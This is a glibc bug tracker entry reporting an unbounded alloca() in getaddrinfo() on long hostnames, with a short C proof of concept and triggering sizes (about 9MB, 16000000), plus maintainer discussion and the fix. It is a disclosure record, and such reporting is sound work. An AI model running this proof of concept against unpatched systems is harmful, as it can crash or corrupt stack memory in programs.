Bug 11884 - Unbounded alloca() in node parameter of getaddrinfo()
Summary: Unbounded alloca() in node parameter of getaddrinfo()
Status: RESOLVED FIXED
Alias: None
Product: glibc
Classification: Unclassified
Component: libc (show other bugs)
Version: 2.9
: P2 critical
Target Milestone: ---
Assignee: Ulrich Drepper
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2010-08-05 05:12 UTC by Cris Neckar
Modified: 2014-06-30 17:23 UTC (History)
5 users (show)

See Also:
Host:
Target:
Build:
Last reconfirmed:
fweimer: security+


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Cris Neckar 2010-08-05 05:12:08 UTC
getaddra() uses the provided node parameter to determine the size of an 
alloca(). When compiled without the -fstack-check option alloca() will be 
inlined as "SUB esp, size". For large values of size this can result in several 
consequences which allow subsequent writes to the stack to overwrite arbitrary 
memory.

The following POC can be used to demonstrate this vulnerability.

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

void main(int argc, char **argv) {
 struct addrinfo hints, *res;
 char serv[] = "";
 char *host;
 host = mmap(0, atoi(argv[1]), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
 memset(host, 0x41, atoi(argv[1]));
 host[atoi(argv[1]) - 1] = '\0';
 memset ((char *)&hints, 0, sizeof (hints));
 hints.ai_family = PF_INET;
 hints.ai_socktype = SOCK_STREAM;
 getaddrinfo(host, 0, &hints, &res);
 exit(0);
}

On a 32bit arch try values in the range of 9mb to demonstrate a crash.
Comment 1 Cris Neckar 2010-08-05 05:14:15 UTC
getaddra() should be getaddrinfo()... thats what I get for not proof reading.

(In reply to comment #0)
> getaddra() uses the provided node parameter to determine the size of an 
> alloca(). When compiled without the -fstack-check option alloca() will be 
> inlined as "SUB esp, size". For large values of size this can result in 
several 
> consequences which allow subsequent writes to the stack to overwrite arbitrary 
> memory.
> 
> The following POC can be used to demonstrate this vulnerability.
> 
> #include <sys/mman.h>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <netdb.h>
> 
> void main(int argc, char **argv) {
>  struct addrinfo hints, *res;
>  char serv[] = "";
>  char *host;
>  host = mmap(0, atoi(argv[1]), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
>  memset(host, 0x41, atoi(argv[1]));
>  host[atoi(argv[1]) - 1] = '\0';
>  memset ((char *)&hints, 0, sizeof (hints));
>  hints.ai_family = PF_INET;
>  hints.ai_socktype = SOCK_STREAM;
>  getaddrinfo(host, 0, &hints, &res);
>  exit(0);
> }
> 
> On a 32bit arch try values in the range of 9mb to demonstrate a crash.

Comment 2 Cris Neckar 2010-08-18 17:12:17 UTC
ping... Any movement on this?
Comment 3 Kees Cook 2010-09-12 15:27:46 UTC
I'm not able to reproduce this at all. What versions of glibc, compiler, etc are
you using?

The problem sounds more like stack limits are being hit, causing a crash rather
than having arbitrary overwrite controls.
Comment 4 Kees Cook 2010-09-12 15:41:01 UTC
Ah, as pointed out by the reporter in separate email, this could be a serious
problem for threaded applications.
Comment 5 Kees Cook 2010-09-12 15:51:27 UTC
Looks like this issue may be getting mitigated in other ways already:

$ ./getaddrinfo 100
getaddrinfo: Connection timed out
$ ./getaddrinfo 1000
getaddrinfo: Invalid argument
Comment 6 Cris Neckar 2010-09-12 20:41:06 UTC
Interesting.. are you testing against 2.12/13?

I only have woefully out of date versions at home but I know this worked on a very 
recent install of Lucid. I'll post the version tomorrow when I get in to work and 
see if we can track down where this may have changed.

Looking through the 2.11 code quickly there may be a similar bug in getnameinfo() 
but controlled through the query response. Not sure how big this can be. I'll test 
it out this week and report a new bug if it pans out. 
Comment 7 Cris Neckar 2010-09-14 00:15:14 UTC
The most recent version I have tested on is apparently 2.7
Comment 8 Petr Baudis 2010-09-14 00:36:05 UTC
So, can you please try to reproduce this with current glibc?
Comment 9 Ulrich Drepper 2011-05-21 03:48:05 UTC
Not that anything here was any help, I still looked through the code.  There shouldn't be unprotected alloca uses anymore.  The changes don't really have anything to do with with bug but I'm still attaching it to them to prevent annoying questions.
Comment 10 Florian Weimer 2014-06-30 17:23:51 UTC
(In reply to Kees Cook from comment #5)
> Looks like this issue may be getting mitigated in other ways already:
> 
> $ ./getaddrinfo 100
> getaddrinfo: Connection timed out
> $ ./getaddrinfo 1000
> getaddrinfo: Invalid argument

You would have to use a much larger argument, probably something around this:

$ ./getaddrinfo 16000000

I haven't got an unpatched glibc 2.7 around to test.

This may have been fixed by 34a9094f49241ebb72084c536cf468fd51ebe3ec, which went into glibc 2.14.  It has been backported by some downstream distributions, e.g. <https://bugzilla.redhat.com/show_bug.cgi?id=797096>.